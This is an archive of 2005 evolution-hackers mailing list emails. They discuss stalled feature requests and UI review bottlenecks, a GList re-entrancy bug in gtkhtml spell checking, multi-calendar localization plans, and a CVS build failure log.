As far as I'm aware, we're just using standard gtktreeview checkboxes here.  That would be a gtk+ issue quite beyond our control.  The same checkboxes are used for enabling calendars. 
I could go on.....

Suffice it to say that each of these changes, while perhaps good overall
and not just beneficial to me personally, would require a lot of effort
not only to implement for myself alone but perhaps for everyone through
a more formal inclusion into the main code branch.
Well, we have quality standards that must be met.  But that isn't the problem usually.  Generally any ui changes require input from the 'ui team', which are often too apathetic or too busy to bother responding for input, and the code reviewers are not allowed to make ui changes without their input.  The developers are not always able to have the last word, so the process falters because of management issues. 
I'm not sure I want to fight for these changes and take the time to so
fight for them if in the end such changes are going to be considered
invalid, of no use, or even frowned upon.  That is why I was asking
about the apparent lack of closure to some very old bugs and very old
feature requests.  Either in implementing such or definitively putting
them to rest by stating that they will not be worked on for this or that
logical reason.  All I see with most of the old one's left is that they
keep getting knocked to later or in the future.  They are never closed
if that makes sense.
There are too many bugs to fix to keep the two mail developers busy for years to come, before you add any new features on top of that. 
Again my apologies if my impressions are way off but please take into
account that I am feeling my way around all this for the first time with
Evolution.

It just sounds like you want to take the evolution code and change it for your needs without consideration for existing users or development process or long-term plans.


> 
> Jon
> 
> Carlos Gonzalez wrote:
> > I was reading through a bunch of the bug and feature requests entered
> > into the Ximian bug database and was struck by how so many of them have
> > not had any resolution for years while being requested over and over
> > again.  
> > 
> > Is this because there are not enough people volunteering to fix bugs
> > and/or add features?  
> > 
> > Is this because of a philosophical lack of willingness to include some
> > of the feature requests (many of whom seem quite reasonable)?  
> > 
> > A little of both or maybe something else?  
> > 
> > I am just curious given that I am looking at starting to make some
> > changes in Evolution for my own use and that of my business clients and
> > want to work as much as possible with Evolution developers as opposed to
> > independent of them.  But I don't want to even bother helping out if
> > there is some sort of philosophical mind set against adding new features
> > or some such.  In the end I may just have to incorporate the features
> > that I and perhaps some of my clients might want in my own little "fork"
> > rather than waiting for something to make it into the main tree, so this
> > issue may be mute but I am mainly just curious as to why it seems to
> > take so long to act on a bug or a feature request.  
> > 
> > I suppose I should also take into account that I was only viewing those
> > things that were not resolved and that the context of seeing this
> > against the great numbers that may have been resolved already is
> > missing.  
> > 
> > Any insight on this would be appreciated.  
> > 
> > Thanks. 
> > 
> > Carlos 
> 
> _______________________________________________
> evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
> http://lists.ximian.com/mailman/listinfo/evolution-hackers

_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-7zLlVW4Lru1MaQvvWcm3-- From notzed@ximian.com Sun Feb 27 22:58:39 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 05B7F1243F7; Sun, 27 Feb 2005 22:58:39 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 8452F1244EA for ; Sun, 27 Feb 2005 22:58:27 -0500 (EST) Received: (qmail 5276 invoked from network); 28 Feb 2005 03:58:25 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 28 Feb 2005 03:58:25 -0000 Subject: Re: [evolution-patches] Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Not Zed To: spamfrommailing@freax.org Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109321143.9733.32.camel@localhost.localdomain> References: <1109279904.31955.26.camel@localhost.localdomain> <1109301774.4852.56.camel@lostzed.mmc.com.au> <1109321143.9733.32.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-c4tVubXMU4KdGRwfWOgB" Date: Mon, 28 Feb 2005 11:56:35 +0800 Message-Id: <1109562995.7375.31.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.3 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-c4tVubXMU4KdGRwfWOgB Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 09:45 +0100, Philip Van Hoof wrote: > On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote: > > > There shouldn't be any threading involved at all with these > > functions. This code should all run exclusively in the main thread. > > That doesn't mean there isn't race-like problems in the code though. > > Is a remote ORBit-2 function working on the spell_errors list? Or a > function that has been called by ORBit-2? You can create a POA that > will, in the background, launch a new thread to handle such a remote > procedure call. In which case the developer might not have noticed it, > but then it is going to use multiple threads and it will run in > parallel. > > If I remember it correctly, it happens like this when you initialize > the POA with ORBIT_THREAD_HINT_PER_REQUEST. Yep, it does. But none of this code can work that way so it would be running against the mainloop. Not to say something else isn't invalidly using threads I guess. > > Its probably "corba re-entrancy" or "glib re-entrancy", i.e. > > something is calling a corba method or a glib function, which then > > goes back into the mainloop and ends up invoking a callback/signal, > > while it is running a loop on the same data somewhere up the stack. > > These problems are often more tricky to track down and fix than real > > race conditions ... and often harder to fix since you can't just use > > a simple lock. > > > Okay. My patch might have made it a little but more stable then. But I > agree that if thats the case, this patch isn't a real fix for the > problem. I think it's more stable for me now, because there's a > smaller timeframe in which problems can happen. The unpatched version > can introduce problems during the time it's looping the spell_errors. > Mine will during that time just collect those items that are to be > removed. It can only create problems while it's actually removing the > collected items. Which takes less time. Overall will the > remove_spell_errors function take longer, but there's a shorter > timetime in which it can create problems. > > It's not removing the problem, it's just making it happen less > frequently. Which isn't going to help debugging this case :-), of > course. Any chance of trying it in valgrind and seeing if that spots anything? It just looks like its bad list code somewhere, but nothing is obvious in the code. If you can build glib/gmem.c with DISABLE_MEM_POOLS defined and run evolution against that, you will likely get more information out of valgrind. > > > > > > This might also fix it. But then it's still using a hackish way > > > for removing an item from the GList. > > > > > > static GList* > > > remove_one (GList *list, GList *link) > > > { > > > GList *retval = g_list_remove_link (list, link); > > > spell_error_destroy ((SpellError *) link->data); > > > return retval; > > > } > > > > I doubt it would make any difference, spell_error_destroy() is just > > a g_free() and nothing more. > > > Which leaves the pointer at link->data undefined, while it's possible > that another thread is still working on that pointer at the same time > (of course only in case something else is running in parallel). Although this is true, if it was threaded, the fact you're removing a link is just as serious a problem (i.e. the link pointers become just as invalid as the data pointer). So the order isn't really that important (the fact g_list_remove_link nulls out the link's pointers may reduce the 'invalidity window', but not to any extent that makes it a valid execution path). --=-c4tVubXMU4KdGRwfWOgB Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 09:45 +0100, Philip Van Hoof wrote:
On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote:
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel.

If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST.
Yep, it does.  But none of this code can work that way so it would be running against the mainloop.  Not to say something else isn't invalidly using threads I guess.
Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems.

It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course.
Any chance of trying it in valgrind and seeing if that spots anything?  It just looks like its bad list code somewhere, but nothing is obvious in the code.

If you can build glib/gmem.c with DISABLE_MEM_POOLS defined and run evolution against that, you will likely get more information out of valgrind.


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel).
Although this is true, if it was threaded, the fact you're removing a link is just as serious a problem (i.e. the link pointers become just as invalid as the data pointer).  So the order isn't really that important (the fact g_list_remove_link nulls out the link's pointers may reduce the 'invalidity window', but not to any extent that makes it a valid execution path).


--=-c4tVubXMU4KdGRwfWOgB-- From carlos.gonzalez@shaw.ca Sun Feb 27 23:33:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id E361F124039; Sun, 27 Feb 2005 23:33:47 -0500 (EST) Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id D140D1242A2 for ; Sun, 27 Feb 2005 23:33:34 -0500 (EST) Received: from pd4mr5so.prod.shaw.ca (pd4mr5so-qfe3.prod.shaw.ca [10.0.141.50]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICL001ONTZT9F60@l-daemon> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Received: from pn2ml6so.prod.shaw.ca ([10.0.121.150]) by pd4mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICL00MJLTZTKA70@pd4mr5so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICL00315TZSMJ@l-daemon> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Date: Sun, 27 Feb 2005 21:33:30 -0700 From: Carlos Gonzalez Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? In-reply-to: <1109562373.7375.22.camel@lostzed.mmc.com.au> To: Evolution Hackers-List Message-id: <1109565210.22270.30.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> <1109454922.13648.21.camel@localhost.localdomain> <1109562373.7375.22.camel@lostzed.mmc.com.au> X-Spam-Status: No, hits=-18.8 required=5.0 tests=BAYES_10,IN_REP_TO,QUOTED_EMAIL_TEXT,QUOTE_TWICE_1, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Not, > > For sure Jon. But on my end I am not so much interested in squashing > > bugs as much as I am in changing the way Evolution works in some of it's ... > Well, since nobody else is ever interested in squashing bugs either, > we're always too busy doing that to ever fix all these minor issues > and far-out feature requests. That makes sense Not. I see what you mean. > It is rather questionable that anybody could understand the code > enough straight off the bat to implement new features effectively > either. I think this is borne out by the fact there ARE so many > outstanding feature requests - if anybody really cared about them, > they'd have written patches. That also makes sense Not. I guess in the final analysis, given that Evolution is open source, that people could take the code, spend a few weeks studying it, and then make changes to it themselves. Something I do hope to do. > > 1. Get rid of the way the Send/Receive box takes over the screen and > > does not allow one to do much of anything in Evolution until AFTER it > > has finished. > I never knew this was a problem. Until I used the gnome window > manager, which forces this behaviour - to me this is very much a > window manager issue, with mine I just iconise it if it gets in the > way, or just move it behind the other windows. You should still be > able to just close the window using the close button, and it will keep > downloading in the background. Hmmm...I hadn't thought of just closing that window. I will try that. Hopefully the mail will continue to download on it's own. I did not realize that this was more a factor of the Gnome window manager forcing this behaviour on users and not so much an Evolution thing. Sorry about that. > Adding stuff to the status bar is a lot harder than it should be > because we're using bonobo, but if you want to try, you're welcome to > it. Its easy, write a patch, and then see if anybody wants it. Hmm...I'll look into that Not. Bonobo eh? I'll have to study up on that. > > 2. Provide the means to be able to run a filter on a folder of emails > > manually. Without having said filter execute on incoming emails or > > outgoing emails only. Right now there is no such mechanism and this is > > quite handy, almost needful, to have to accomodate those who don't want > > all their email filtered until AFTER they have read it all out of their > > inbox. > We used to have this ability - by having a separate set of filters (as > you have 'incoming' and 'outgoing' filters, there was a 'on demand' > list). This was removed years ago. I have no idea why it was > removed, but someone thought it was a good idea to simplify it as it > confused people or something. That's a shame that this was removed. Perhaps years ago it was a rather new feature. One that has now become incorporated in every other MLA that I have used (Eudora, KMail, Outlook Express (I think)). It's quite handy. > > 3. Revamp the way Evolution responds to key presses and otherwise on > > the screen such that a user has a hard time telling what area of the > > screen is in focus and what their key presses will affect. > Well the focus is on the folder tree in that case (as clearly > indicated by the blue selection). So all normal key presses should be > going there. Menu accelerators are global however. I don't think it's that plain and clear cut Not. Even today I found myself occasionally hitting the down arrow key hoping to go to the next unread message only to find myself going to the next folder instead. Very frustrating. I've been using Evolution for going on a week lots by now and I still don't have it straight. Thing is Evolution itself isn't consistent in this. The blue highlight might be over a folder. I press "." to go to the first unread message in the folder and it takes me there. Then I use arrow keys to go to the next message. While the blue highlight is still back in the folder pane. This is just downright confusing. I did discover that the expired highlight bar which is a drab color brownish thing IS a gnome specific thing and not an Evolution thing. It's just that I first noticed this in Evolution but it's a gnome thing. So I guess I am stuck with that silly expired highlight bar unless I want to hack into Gnome (no thanks). > > 4. Change the little, itty bitty check boxes Enabling the checking of > > email from the various accounts one has, to more standard check boxes > > that are more seen to be that. > As far as I'm aware, we're just using standard gtktreeview checkboxes > here. That would be a gtk+ issue quite beyond our control. The same > checkboxes are used for enabling calendars. Yeah I found out that's also a gnome thing. Very silly looking mini checkboxes if you ask me. I mean they're cute little things and all but quite disfunctional in not being like any more normal check box. > Well, we have quality standards that must be met. But that isn't the > problem usually. Generally any ui changes require input from the 'ui > team', which are often too apathetic or too busy to bother responding > for input, That's not good. > and the code reviewers are not allowed to make ui changes without > their input. The developers are not always able to have the last > word, so the process falters because of management issues. Ain't that the way it usually is? :) That's the kind of issue that I don't particularly want to mess with so it seems best for me to just make the changes on my own for me and my clients, submit those changes and make them available to all, but don't fight for any particular change to be incorporated. It sounds like doing so would just be an exercise in frustration. The only thing I have to figure out is how to make my changes applicable to my own situation after every update of evolution. That might get tricky. Maybe my whole desire to change a few things is nutty :). I don't. I'll think about this some more before I go changing anything. > There are too many bugs to fix to keep the two mail developers busy > for years to come, before you add any new features on top of that. Hmm...I see. > > Again my apologies if my impressions are way off but please take into > > account that I am feeling my way around all this for the first time with > > Evolution. > > It just sounds like you want to take the evolution code and change it > for your needs without consideration for existing users or development > process or long-term plans. Well it's not that I want to make changes without considering the long term plans Not. It's that I don't want to take the time to fight for changes if the Evolution ui people are, as you say, not around much for feedback and the developers don't have a choice, why bother? It'd be easier for me to just work my own ui and coding changes on the side for just me and my clients. I wouldn't mind at all getting involved more in helping out if I had more of a hope that my efforts might lead to something constructive as opposed to being swallowed up in a sea of management issues or the like. I hope that makes sense. Incidentally just so you know I think the work that has been done so far to make Evolution what it is, is absolutely mindboggling! In a good sense. I mean it boggles my mind that open source software can be as good if not better than commercially produced software in the spheres where it is found. Carlos From ar_shameli@yahoo.com Thu Feb 24 09:25:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ADF7F1247E7; Thu, 24 Feb 2005 09:25:32 -0500 (EST) Received: from web14306.mail.yahoo.com (web14306.mail.yahoo.com [216.136.173.82]) by lists.ximian.com (Postfix) with SMTP id 71E6A1242E1 for ; Thu, 24 Feb 2005 09:25:19 -0500 (EST) Received: (qmail 59693 invoked by uid 60001); 24 Feb 2005 14:25:18 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=YJ5KXmysZvitl1hpiftNU3b/rbcefSYR1kzXM6RG4PvzW9KpL3D8l6G2EvOiXwLpHmTbYN2/bi0ZIyrfwHDgz3758EuSJHG2g0z5+ukt0mgSsF1eAPkQUKvMtfkXnOa7T89FzYxk33Vkj20jZZmwiyvoQCfIP04Fv2bs2m5v8rE= ; Message-ID: <20050224142518.59691.qmail@web14306.mail.yahoo.com> Received: from [80.191.2.22] by web14306.mail.yahoo.com via HTTP; Thu, 24 Feb 2005 06:25:18 PST Date: Thu, 24 Feb 2005 06:25:18 -0800 (PST) From: Ali Shameli To: evolution-hackers@lists.ximian.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] multi-calendaring and multi-sorting Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Persian localization in evolution. We have been working on Evolution code for months. Our goal is to add multi calendaring and multi language sorting support to Evolution. We wrote a lightweight library to use multi calendaring in systems like Evolution. First patch for adding multi calendaring support will be sent in near feature. There were two suitable solution to add multi language sorting: * hacking the evolution code, like addressbook module in order to display characters ( Non-latin) in correct order. * using a multi language sort library (which allows us to switch between different languages) Please guide us to choose the most suitable way. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From spamfrommailing@freax.org Mon Feb 28 04:07:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8BE8E1244C5; Mon, 28 Feb 2005 04:07:36 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7C715124452 for ; Mon, 28 Feb 2005 04:07:24 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 0697B139420A for ; Mon, 28 Feb 2005 10:07:18 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03546-06 for ; Mon, 28 Feb 2005 10:07:10 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 87BF21394115 for ; Mon, 28 Feb 2005 10:07:10 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-7YKSWC/pz6Gx5HS8IBFo" Date: Mon, 28 Feb 2005 10:07:10 +0100 Message-Id: <1109581630.9416.8.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: Yes, hits=6.4 required=5.0 tests=FORGOTTEN_PASSWORD,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ****** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Current CVS failes to build (e_passwords_forget_passwords and libedataserverui/e-passwords.h) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-7YKSWC/pz6Gx5HS8IBFo Content-Type: text/plain Content-Transfer-Encoding: 7bit Note: e-d-s, here, is also updated and on non-anoncvs freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d cvs server: Updating . cvs server: Updating glade cvs server: Updating idl cvs server: Updating importer freax@lort:~/cvs/gnome/evolution/shell $ make make all-recursive make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell' Making all in importer make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer' make all-am make[3]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer' make[3]: Nothing to be done for `all-am'. make[3]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer' make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer' make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell' source='e-shell-window-commands.c' object='e-shell-window-commands.o' libtool=no \ depfile='.deps/e-shell-window-commands.Po' tmpdepfile='.deps/e-shell-window-commands.TPo' \ depmode=gcc3 /bin/sh ../depcomp \ gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. -DEVOLUTION_IMAGES=\""/opt/evo//share/evolution/2.2/images"\" -DEVOLUTION_LOCALEDIR=\""/opt/evo//share/locale"\" -DEVOLUTION_DATADIR= \""/opt/evo//share"\" -DEVOLUTION_GLADEDIR= \""/opt/evo//share/evolution/2.2/glade"\" -DEVOLUTION_HELPDIR= \""/opt/evo//share/evolution/2.2/help"\" -DEVOLUTION_UIDIR= \""/opt/evo//share/evolution/2.2/ui"\" -DEVOLUTION_TOOLSDIR= \""/opt/evo//libexec/evolution/2.2"\" -DPREFIX=\""/opt/evo/"\" -DSYSCONFDIR=\""/opt/evo//etc"\" -DDATADIR=\""/opt/evo//share"\" -DLIBDIR=\""/opt/evo//share"\" -DG_LOG_DOMAIN=\"evolution-shell\" -DORBIT2=1 -pthread -I/usr/include/evolution-data-server-1.2 -I/usr/include/libgnome-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libxml2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 -I/usr/include/orbit-2.0 -I/usr/include/libxml2 -I/usr/include/libbonobo-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/libgnome-2.0 -I/usr/include/bonobo-activation-2.0 -I/usr/include/libart-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/libgnomeui-2.0 -I/usr/include/libglade-2.0 -I/usr/include/gal-2.4 -I/usr/include/libgnomeprint-2.2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 -I/usr/include/gal-2.4 -I/usr/include/libglade-2.0 -I/usr/include/libgnomeprint-2.2 -I/usr/include/libgtkhtml-3.6 -I/usr/include/libgnomeprintui-2.2 -DORBIT2=1 -pthread -DXTHREADS -I/usr/include/libgnome-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/orbit-2.0 -I/usr/include/libbonobo-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I/usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/include/libgnomeui-2.0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/gtk-2.0 -I/usr/include/libart-2.0 -I/usr/include/libbonoboui-2.0 -I/usr/include/pango-1.0 -I/usr/include/freetype2 -I/usr/lib/gtk-2.0/include -I/usr/X11R6/include -I/usr/include/atk-1.0 -I/usr/include/libxml2 -g -O2 -Wall -Wmissing-prototypes -Wno-sign-compare -c `test -f 'e-shell-window-commands.c' || echo './'`e-shell-window-commands.c e-shell-window-commands.c:50:42: libedataserverui/e-passwords.h: No such file or directory e-shell-window-commands.c: In function `command_forget_passwords': e-shell-window-commands.c:572: warning: implicit declaration of function `e_passwords_forget_passwords' e-shell-window-commands.c: At top level: e-shell-window-commands.c:479: warning: `command_help_faq' defined but not used make[2]: *** [e-shell-window-commands.o] Error 1 make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/home/freax/cvs/gnome/evolution/shell' make: *** [all] Error 2 freax@lort:~/cvs/gnome/evolution/shell $ -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-7YKSWC/pz6Gx5HS8IBFo Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable
Note: e-d-s, here, is also updated and on non-anoncvs

freax@lort:~/cvs/gnome/evolution/shell $ cvs update -d
cvs server: Updating .
cvs server: Updating glade
cvs server: Updating idl
cvs server: Updating importer
freax@lort:~/cvs/gnome/evolution/shell $ make
make  all-recursive
make[1]: Entering directory `/home/freax/cvs/gnome/evolution/shell'
Making all in importer
make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer= '
make  all-am
make[3]: Entering directory `/home/freax/cvs/gnome/evolution/shell/importer= '
make[3]: Nothing to be done for `all-am'.
make[3]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer'=
make[2]: Leaving directory `/home/freax/cvs/gnome/evolution/shell/importer'=
make[2]: Entering directory `/home/freax/cvs/gnome/evolution/shell'
source=3D'e-shell-window-commands.c' object=3D'e-shell-window-commands.o' l= ibtool=3Dno \
depfile=3D'.deps/e-shell-window-commands.Po' tmpdepfile=3D'.deps/e-shell-wi= ndow-commands.TPo' \
depmode=3Dgcc3 /bin/sh ../depcomp \
gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../widgets -I../widgets/misc -I.. -DEVOL= UTION_IMAGES=3D\""/opt/evo//share/evolution/2.2/images"\&quo= t; -DEVOLUTION_LOCALEDIR=3D\""/opt/evo//share/locale"\"= -DEVOLUTION_DATADIR=3D\""/opt/evo//share"\" -DEVOLUTIO= N_GLADEDIR=3D\""/opt/evo//share/evolution/2.2/glade"\" = -DEVOLUTION_HELPDIR=3D\""/opt/evo//share/evolution/2.2/help"= \" -DEVOLUTION_UIDIR=3D\""/opt/evo//share/evolution/2.2/ui&q= uot;\" -DEVOLUTION_TOOLSDIR=3D\""/opt/evo//libexec/evolution= /2.2"\" -DPREFIX=3D\""/opt/evo/"\" -DSYSCONFD= IR=3D\""/opt/evo//etc"\" -DDATADIR=3D\""/opt/= evo//share"\" -DLIBDIR=3D\""/opt/evo//share"\"= ; -DG_LOG_DOMAIN=3D\"evolution-shell\" -DORBIT2=3D1 -pthread -I/u= sr/include/evolution-data-server-1.2 -I/usr/include/libgnome-2.0 -I/usr/inc= lude/libbonobo-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/u= sr/include/orbit-2.0 -I/usr/include/gconf/2 -I/usr/include/gnome-vfs-2.0 -I= /usr/lib/gnome-vfs-2.0/include -I/usr/include/bonobo-activation-2.0 -I/usr/= include/libxml2    -DORBIT2=3D1 -pthread -DXTHREADS -I/usr/i= nclude/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/libbonoboui-2.0 = -I/usr/include/orbit-2.0 -I/usr/include/libxml2 -I/usr/include/libbonobo-2.= 0 -I/usr/include/libgnomecanvas-2.0 -I/usr/include/libgnome-2.0 -I/usr/incl= ude/bonobo-activation-2.0 -I/usr/include/libart-2.0 -I/usr/include/pango-1.= 0 -I/usr/include/freetype2 